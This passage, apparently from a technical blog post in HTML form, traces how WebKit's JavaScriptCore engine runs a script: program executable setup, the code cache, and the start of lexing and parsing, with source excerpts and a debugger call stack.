</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/interpreter/Interpreter.cpp#L645"><code>Interpreter::executeProgram</code></a> performs three important tasks that will be the focal points of discussion throughout this blog post. The main tasks are as follows:</p>
<ol>
<li>Initiating lexing and parsing of the sourcecode,</li>
<li>Generation of bytecode,</li>
<li>Execution of bytecode.</li>
</ol>
<p>These have been highlighted in the truncated function code below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>JSValue Interpreter<span style="color:#f92672">::</span>executeProgram(<span style="color:#66d9ef">const</span> SourceCode<span style="color:#f92672">&amp;</span> source, JSGlobalObject<span style="color:#f92672">*</span>, JSObject<span style="color:#f92672">*</span> thisObj)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    JSScope<span style="color:#f92672">*</span> scope <span style="color:#f92672">=</span> thisObj<span style="color:#f92672">-&gt;</span>globalObject()<span style="color:#f92672">-&gt;</span>globalScope();
</span></span><span style="display:flex;"><span>    VM<span style="color:#f92672">&amp;</span> vm <span style="color:#f92672">=</span> scope<span style="color:#f92672">-&gt;</span>vm();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//.. truncated code
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    ProgramExecutable<span style="color:#f92672">*</span> program <span style="color:#f92672">=</span> ProgramExecutable<span style="color:#f92672">::</span>create(globalObject, source);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    VMEntryScope <span style="color:#a6e22e">entryScope</span>(vm, globalObject);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Compile source to bytecode if necessary:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    JSObject<span style="color:#f92672">*</span> error <span style="color:#f92672">=</span> program<span style="color:#f92672">-&gt;</span>initializeGlobalProperties(vm, globalObject, scope); <span style="color:#f92672">&lt;--</span> <span style="color:#ae81ff">1.</span> Initiates Lexing and Parsing of the source code
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    ProgramCodeBlock<span style="color:#f92672">*</span> codeBlock;
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        CodeBlock<span style="color:#f92672">*</span> tempCodeBlock;
</span></span><span style="display:flex;"><span>        Exception<span style="color:#f92672">*</span> error <span style="color:#f92672">=</span> program<span style="color:#f92672">-&gt;</span>prepareForExecution<span style="color:#f92672">&lt;</span>ProgramExecutable<span style="color:#f92672">&gt;</span>(vm, <span style="color:#66d9ef">nullptr</span>, scope, CodeForCall, tempCodeBlock); <span style="color:#f92672">&lt;--</span> <span style="color:#ae81ff">2.</span> Generation of bytecode
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        codeBlock <span style="color:#f92672">=</span> jsCast<span style="color:#f92672">&lt;</span>ProgramCodeBlock<span style="color:#f92672">*&gt;</span>(tempCodeBlock);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    RefPtr<span style="color:#f92672">&lt;</span>JITCode<span style="color:#f92672">&gt;</span> jitCode;
</span></span><span style="display:flex;"><span>    ProtoCallFrame protoCallFrame;
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        DisallowGC disallowGC; <span style="color:#75715e">// Ensure no GC happens. GC can replace CodeBlock in Executable.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        jitCode <span style="color:#f92672">=</span> program<span style="color:#f92672">-&gt;</span>generatedJITCode();
</span></span><span style="display:flex;"><span>        protoCallFrame.init(codeBlock, globalObject, globalCallee, thisObj, <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Execute the code:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    JSValue result <span style="color:#f92672">=</span> jitCode<span style="color:#f92672">-&gt;</span>execute(<span style="color:#f92672">&amp;</span>vm, <span style="color:#f92672">&amp;</span>protoCallFrame); <span style="color:#f92672">&lt;--</span> <span style="color:#ae81ff">3.</span> Execution of bytecode
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> checkedReturn(result);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><ul>
<li>The <code>executeProgram</code> beings by first allocating memory for the <code>ProgramExecutable</code> object and then calls the <code>ProgramExecutable</code> constructor with a call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/ProgramExecutable.h#L45"><code>ProgramExecutable::create</code></a>. The call inturn calls the the base constructor (i.e. <code>GlobalExecutable</code>) which has the signature shown below:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>GlobalExecutable(Structure<span style="color:#f92672">*</span> structure, VM<span style="color:#f92672">&amp;</span> vm, <span style="color:#66d9ef">const</span> SourceCode<span style="color:#f92672">&amp;</span> sourceCode, <span style="color:#66d9ef">bool</span> isInStrictContext, DerivedContextType derivedContextType, <span style="color:#66d9ef">bool</span> isInArrowFunctionContext, <span style="color:#66d9ef">bool</span> isInsideOrdinaryFunction, EvalContextType evalContextType, Intrinsic intrinsic)
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">:</span> Base(structure, vm, sourceCode, isInStrictContext, derivedContextType, isInArrowFunctionContext, isInsideOrdinaryFunction, evalContextType, intrinsic)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><ul>
<li><code>GlobalExecutable</code> inturn calls its base constructor <code>ScriptExecutable</code>. The ScriptExecutable constructor performs two functions, it first initalises the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/ScriptExecutable.cpp#L49">ExecutableBase</a> and initialise several other class members. <code>ExecutableBase</code> calls the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/JSCellInlines.h#L58"><code>JSCell</code> constructor</a> which effectively generates a <code>JSCell</code> for the <code>ProgramExecutable</code>.</li>
</ul>
<p>The <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/runtime/ExecutableBase.h"><code>ExecutableBase</code></a> and its derived classes (e.g. <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/runtime/ProgramExecutable.h"><code>ProgramExecutable</code></a>) is important to this discussion as it stores references to JIT code which gets executed at later stages.</p>
<p>Lets now return to <code>Interpreter::executeProgram</code> and continue the discussion on this function; once the <code>ProgramExecutable</code> object <code>program</code> has been initialised, the function performs a range of validation checks to evaluate whether the supplied script is a JSON script. Since <em>test.js</em> does not contain any JSON, these checks can be ignored for now and this has been truncated in the code snippet documented previously. The next interesting instruction that needs to be considered is <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/interpreter/Interpreter.cpp#L801"><code>ProgramExecutable::initializeGlobalProperties</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">// Compile source to bytecode if necessary:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>JSObject<span style="color:#f92672">*</span> error <span style="color:#f92672">=</span> program<span style="color:#f92672">-&gt;</span>initializeGlobalProperties(vm, globalObject, scope);
</span></span></code></pre></div><p>The function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/ProgramExecutable.cpp#L66"><code>ProgramExecutable::initializeGlobalProperties</code></a> uses the source object to generate an <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/ProgramExecutable.cpp#L77"><code>UnlinkedProgramCodeBlock</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>UnlinkedProgramCodeBlock<span style="color:#f92672">*</span> unlinkedCodeBlock <span style="color:#f92672">=</span> vm.codeCache()<span style="color:#f92672">-&gt;</span>getUnlinkedProgramCodeBlock(vm, <span style="color:#66d9ef">this</span>, source(), strictMode, codeGenerationMode, error);
</span></span></code></pre></div><p>A <code>CodeCache</code> according to the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/CodeCache.h#L217">developer comments</a> in the source is a cache for top-level code such as <code>&lt;script&gt;</code>, <code>window.eval()</code>, <code>new Function</code>, and <code>JSEvaluateScript()</code>. The CodeCache is initalised when the VM object is instantiated. The function call <code>getUnlinkedProgramCodeBlock</code> inturn calls <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/CodeCache.cpp#L154"><code>getUnlinkedGlobalCodeBlock</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">template</span> <span style="color:#f92672">&lt;</span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">UnlinkedCodeBlockType</span>, <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ExecutableType</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>UnlinkedCodeBlockType<span style="color:#f92672">*</span> CodeCache<span style="color:#f92672">::</span>getUnlinkedGlobalCodeBlock(VM<span style="color:#f92672">&amp;</span> vm, ExecutableType<span style="color:#f92672">*</span> executable, <span style="color:#66d9ef">const</span> SourceCode<span style="color:#f92672">&amp;</span> source, JSParserStrictMode strictMode, JSParserScriptMode scriptMode, OptionSet<span style="color:#f92672">&lt;</span>CodeGenerationMode<span style="color:#f92672">&gt;</span> codeGenerationMode, ParserError<span style="color:#f92672">&amp;</span> error, EvalContextType evalContextType)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    
</span></span><span style="display:flex;"><span>    VariableEnvironment variablesUnderTDZ;
</span></span><span style="display:flex;"><span>    unlinkedCodeBlock <span style="color:#f92672">=</span> generateUnlinkedCodeBlock<span style="color:#f92672">&lt;</span>UnlinkedCodeBlockType, ExecutableType<span style="color:#f92672">&gt;</span>(vm, executable, source, strictMode, scriptMode, codeGenerationMode, error, evalContextType, <span style="color:#f92672">&amp;</span>variablesUnderTDZ);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> unlinkedCodeBlock;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/CodeCache.cpp#L176"><code>generateUnlinkedCodeBlock</code></a> eventually leads to a call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/CodeCache.cpp#L74"><code>CodeCache::generateUnlinkedCodeBlockImpl</code></a>. This function is responsible for initiating parsing of the script as well as bytecode generation. The call stack upto this point in the execution will look similar to the one below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::generateUnlinkedCodeBlockImpl&lt;JSC::UnlinkedProgramCodeBlock, JSC::ProgramExecutable&gt;<span style="color:#f92672">(</span>JSC::VM &amp; vm, const JSC::SourceCode &amp; source, JSC::JSParserStrictMode strictMode, JSC::JSParserScriptMode scriptMode, WTF::OptionSet&lt;JSC::CodeGenerationMode&gt; codeGenerationMode, JSC::ParserError &amp; error, JSC::EvalContextType evalContextType, JSC::DerivedContextType derivedContextType, bool isArrowFunctionContext, const JSC::VariableEnvironment * variablesUnderTDZ, JSC::ProgramExecutable * executable<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/runtime/CodeCache.cpp:74<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::generateUnlinkedCodeBlock&lt;JSC::UnlinkedProgramCodeBlock, JSC::ProgramExecutable&gt;<span style="color:#f92672">(</span>JSC::VM &amp; vm, JSC::ProgramExecutable * executable, const JSC::SourceCode &amp; source, JSC::JSParserStrictMode strictMode, JSC::JSParserScriptMode scriptMode, WTF::OptionSet&lt;JSC::CodeGenerationMode&gt; codeGenerationMode, JSC::ParserError &amp; error, JSC::EvalContextType evalContextType, const JSC::VariableEnvironment * variablesUnderTDZ<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/runtime/CodeCache.cpp:117<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::CodeCache::getUnlinkedGlobalCodeBlock&lt;JSC::UnlinkedProgramCodeBlock, JSC::ProgramExecutable&gt;<span style="color:#f92672">(</span>JSC::CodeCache * const this, JSC::VM &amp; vm, JSC::ProgramExecutable * executable, const JSC::SourceCode &amp; source, JSC::JSParserStrictMode strictMode, JSC::JSParserScriptMode scriptMode, WTF::OptionSet&lt;JSC::CodeGenerationMode&gt; codeGenerationMode, JSC::ParserError &amp; error, JSC::EvalContextType evalContextType<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/runtime/CodeCache.cpp:172<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::CodeCache::getUnlinkedProgramCodeBlock<span style="color:#f92672">(</span>JSC::CodeCache * const this, JSC::VM &amp; vm, JSC::ProgramExecutable * executable, const JSC::SourceCode &amp; source, JSC::JSParserStrictMode strictMode, WTF::OptionSet&lt;JSC::CodeGenerationMode&gt; codeGenerationMode, JSC::ParserError &amp; error<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/runtime/CodeCache.cpp:187<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::ProgramExecutable::initializeGlobalProperties<span style="color:#f92672">(</span>JSC::ProgramExecutable * const this, JSC::VM &amp; vm, JSC::JSGlobalObject * globalObject, JSC::JSScope * scope<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/runtime/ProgramExecutable.cpp:77<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::Interpreter::executeProgram<span style="color:#f92672">(</span>JSC::Interpreter * const this, const JSC::SourceCode &amp; source, JSC::JSObject * thisObj<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/interpreter/Interpreter.cpp:799<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::evaluate<span style="color:#f92672">(</span>JSC::JSGlobalObject * globalObject, const JSC::SourceCode &amp; source, JSC::JSValue thisValue, WTF::NakedPtr&lt;JSC::Exception&gt; &amp; returnedException<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/runtime/Completion.cpp:139<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>runWithOptions<span style="color:#f92672">(</span>GlobalObject * globalObject, CommandLine &amp; options, bool &amp; success<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/jsc.cpp:2877<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>operator<span style="color:#f92672">()(</span>const struct <span style="color:#f92672">{</span>...<span style="color:#f92672">}</span> * const __closure, JSC::VM &amp; vm, GlobalObject * globalObject, bool &amp; success<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/jsc.cpp:3414<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>runJSC&lt;jscmain<span style="color:#f92672">(</span>int, char**<span style="color:#f92672">)</span>::&lt;lambda<span style="color:#f92672">(</span>JSC::VM&amp;, GlobalObject*, bool&amp;<span style="color:#f92672">)</span>&gt; &gt;<span style="color:#f92672">(</span>const CommandLine &amp;, bool, const struct <span style="color:#f92672">{</span>...<span style="color:#f92672">}</span> &amp;<span style="color:#f92672">)(</span>const CommandLine &amp; options, bool isWorker, const struct <span style="color:#f92672">{</span>...<span style="color:#f92672">}</span> &amp; func<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/jsc.cpp:3249<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>jscmain<span style="color:#f92672">(</span>int argc, char ** argv<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/jsc.cpp:3407<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>main<span style="color:#f92672">(</span>int argc, char ** argv<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/jsc.cpp:2682<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libc.so.6!__libc_start_main<span style="color:#f92672">(</span>int <span style="color:#f92672">(</span>*<span style="color:#f92672">)(</span>int, char **, char **<span style="color:#f92672">)</span> main, int argc, char ** argv, int <span style="color:#f92672">(</span>*<span style="color:#f92672">)(</span>int, char **, char **<span style="color:#f92672">)</span> init, void <span style="color:#f92672">(</span>*<span style="color:#f92672">)(</span>void<span style="color:#f92672">)</span> fini, void <span style="color:#f92672">(</span>*<span style="color:#f92672">)(</span>void<span style="color:#f92672">)</span> rtld_fini, void * stack_end<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/build/glibc-2ORdQG/glibc-2.27/csu/libc-start.c:310<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>_start <span style="color:#f92672">(</span>Unknown Source:0<span style="color:#f92672">)</span>
</span></span></code></pre></div><h1 id="lexing-and-parsing">Lexing and Parsing</h1>
<p>This section will now explore how the source code loaded into the engine is lexed and parsed by the engine to generate an AST. <a href="https://en.wikipedia.org/wiki/Lexical_analysis">Lexing</a> and <a href="https://en.wikipedia.org/wiki/Parsing">parsing</a> is a process where raw source code is tokenised and the tokens generated are then parsed to build an AST. This processing will also identify syntax and semantic errors that may be present in the supplied js script by validating the script against the <a href="https://tc39.es/ecma262/#sec-statements">ECMA spec</a>. This beings with the call to function <code>CodeCache::generateUnlinkedCodeBlockImpl</code> which is described below and unimportant code truncated.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>UnlinkedCodeBlockType<span style="color:#f92672">*</span> <span style="color:#a6e22e">generateUnlinkedCodeBlockImpl</span>(VM<span style="color:#f92672">&amp;</span> vm, <span style="color:#66d9ef">const</span> SourceCode<span style="color:#f92672">&amp;</span> source, JSParserStrictMode strictMode, JSParserScriptMode scriptMode, OptionSet<span style="color:#f92672">&lt;</span>CodeGenerationMode<span style="color:#f92672">&gt;</span> codeGenerationMode, ParserError<span style="color:#f92672">&amp;</span> error, EvalContextType evalContextType, DerivedContextType derivedContextType, <span style="color:#66d9ef">bool</span> isArrowFunctionContext, <span style="color:#66d9ef">const</span> VariableEnvironment<span style="color:#f92672">*</span> variablesUnderTDZ, ExecutableType<span style="color:#f92672">*</span> executable <span style="color:#f92672">=</span> <span style="color:#66d9ef">nullptr</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">typename</span> CacheTypes<span style="color:#f92672">&lt;</span>UnlinkedCodeBlockType<span style="color:#f92672">&gt;::</span>RootNode RootNode;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">bool</span> isInsideOrdinaryFunction <span style="color:#f92672">=</span> executable <span style="color:#f92672">&amp;&amp;</span> executable<span style="color:#f92672">-&gt;</span>isInsideOrdinaryFunction();
</span></span><span style="display:flex;"><span>    std<span style="color:#f92672">::</span>unique_ptr<span style="color:#f92672">&lt;</span>RootNode<span style="color:#f92672">&gt;</span> rootNode <span style="color:#f92672">=</span> parse<span style="color:#f92672">&lt;</span>RootNode<span style="color:#f92672">&gt;</span>(
</span></span><span style="display:flex;"><span>        vm, source, Identifier(), JSParserBuiltinMode<span style="color:#f92672">::</span>NotBuiltin, strictMode, scriptMode, CacheTypes<span style="color:#f92672">&lt;</span>UnlinkedCodeBlockType<span style="color:#f92672">&gt;::</span>parseMode, SuperBinding<span style="color:#f92672">::</span>NotNeeded, error, <span style="color:#66d9ef">nullptr</span>, ConstructorKind<span style="color:#f92672">::</span>None, derivedContextType, evalContextType, <span style="color:#66d9ef">nullptr</span>, variablesUnderTDZ, <span style="color:#66d9ef">nullptr</span>, isInsideOrdinaryFunction);       <span style="color:#f92672">&lt;--</span> AST generation
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    ExecutableInfo executableInfo(usesEval, false, false, ConstructorKind<span style="color:#f92672">::</span>None, scriptMode, SuperBinding<span style="color:#f92672">::</span>NotNeeded, CacheTypes<span style="color:#f92672">&lt;</span>UnlinkedCodeBlockType<span style="color:#f92672">&gt;::</span>parseMode, derivedContextType, needsClassFieldInitializer, isArrowFunctionContext, false, evalContextType);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    UnlinkedCodeBlockType<span style="color:#f92672">*</span> unlinkedCodeBlock <span style="color:#f92672">=</span> UnlinkedCodeBlockType<span style="color:#f92672">::</span>create(vm, executableInfo, codeGenerationMode);
</span></span><span style="display:flex;"><span>    unlinkedCodeBlock<span style="color:#f92672">-&gt;</span>recordParse(rootNode<span style="color:#f92672">-&gt;</span>features(), rootNode<span style="color:#f92672">-&gt;</span>hasCapturedVariables(), lineCount, unlinkedEndColumn);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    error <span style="color:#f92672">=</span> BytecodeGenerator<span style="color:#f92672">::</span>generate(vm, rootNode.get(), source, unlinkedCodeBlock, codeGenerationMode, variablesUnderTDZ, ecmaMode); <span style="color:#f92672">&lt;--</span> Initiate bytecode generation
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (error.isValid())
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nullptr</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> unlinkedCodeBlock;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Parsing is initiated with a call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/CodeCache.cpp#L79"><code>parse</code></a> which is defined in <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/parser/Parser.h">parser/Parser.h</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>std<span style="color:#f92672">::</span>unique_ptr<span style="color:#f92672">&lt;</span>RootNode<span style="color:#f92672">&gt;</span> rootNode <span style="color:#f92672">=</span> parse<span style="color:#f92672">&lt;</span>RootNode<span style="color:#f92672">&gt;</span>(
</span></span><span style="display:flex;"><span>        vm, source, Identifier(), JSParserBuiltinMode<span style="color:#f92672">::</span>NotBuiltin, strictMode, scriptMode, CacheTypes<span style="color:#f92672">&lt;</span>UnlinkedCodeBlockType<span style="color:#f92672">&gt;::</span>parseMode, SuperBinding<span style="color:#f92672">::</span>NotNeeded, error, <span style="color:#66d9ef">nullptr</span>, ConstructorKind<span style="color:#f92672">::</span>None, derivedContextType, evalContextType, <span style="color:#66d9ef">nullptr</span>, variablesUnderTDZ, <span style="color:#66d9ef">nullptr</span>, isInsideOrdinaryFunction);
</span></span></code></pre></div><p>The following <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/parser/Parser.h#L2172">lines of code</a> within the parse function are responsible for setting up the parser and analysing the source script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Parser<span style="color:#f92672">&lt;</span>Lexer<span style="color:#f92672">&lt;</span>LChar<span style="color:#f92672">&gt;&gt;</span> parser(vm, source, builtinMode, strictMode, scriptMode, parseMode, superBinding, defaultConstructorKindForTopLevelFunction, derivedContextType, isEvalNode<span style="color:#f92672">&lt;</span>ParsedNode<span style="color:#f92672">&gt;</span>(), evalContextType, debuggerParseData, isInsideOrdinaryFunction);
</span></span><span style="display:flex;"><span>result <span style="color:#f92672">=</span> parser.parse<span style="color:#f92672">&lt;</span>ParsedNode<span style="color:#f92672">&gt;</span>(error, name, parseMode, isEvalNode<span style="color:#f92672">&lt;</span>ParsedNode<span style="color:#f92672">&gt;</span>() <span style="color:#f92672">?</span> ParsingContext<span style="color:#f92672">::</span>Eval : ParsingContext<span style="color:#f92672">::</span>Program, WTF<span style="color:#f92672">::</span>nullopt, variablesUnderTDZ, instanceFieldLocations);
</span></span></code></pre></div><p>The first line creates a parser object whose <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/parser/Parser.cpp#L130">constructor</a>, among other activities, instantiates a lexer object with the unlinked source code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>m_lexer <span style="color:#f92672">=</span> makeUnique<span style="color:#f92672">&lt;</span>LexerType<span style="color:#f92672">&gt;</span>(vm, builtinMode, scriptMode);
</span></span><span style="display:flex;"><span>m_lexer<span style="color:#f92672">-&gt;</span>setCode(source, <span style="color:#f92672">&amp;</span>m_parserArena);
</span></span></code></pre></div><p>Additionally, the constructor also sets up the details of the first token location:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span> m_token.m_location.line <span style="color:#f92672">=</span> source.firstLine().oneBasedInt();
</span></span><span style="display:flex;"><span> m_token.m_location.startOffset <span style="color:#f92672">=</span> source.startOffset();
</span></span><span style="display:flex;"><span> m_token.m_location.endOffset <span style="color:#f92672">=</span> source.startOffset();
</span></span><span style="display:flex;"><span> m_token.m_location.lineStartOffset <span style="color:#f92672">=</span> source.startOffset();
</span></span></code></pre></div><p>Once these parameters have been initialised, it makes a call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/parser/Parser.cpp#L176"><code>next</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>ALWAYS_INLINE <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">next</span>(OptionSet<span style="color:#f92672">&lt;</span>LexerFlags<span style="color:#f92672">&gt;</span> lexerFlags <span style="color:#f92672">=</span> { })
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> lastLine <span style="color:#f92672">=</span> m_token.m_location.line;
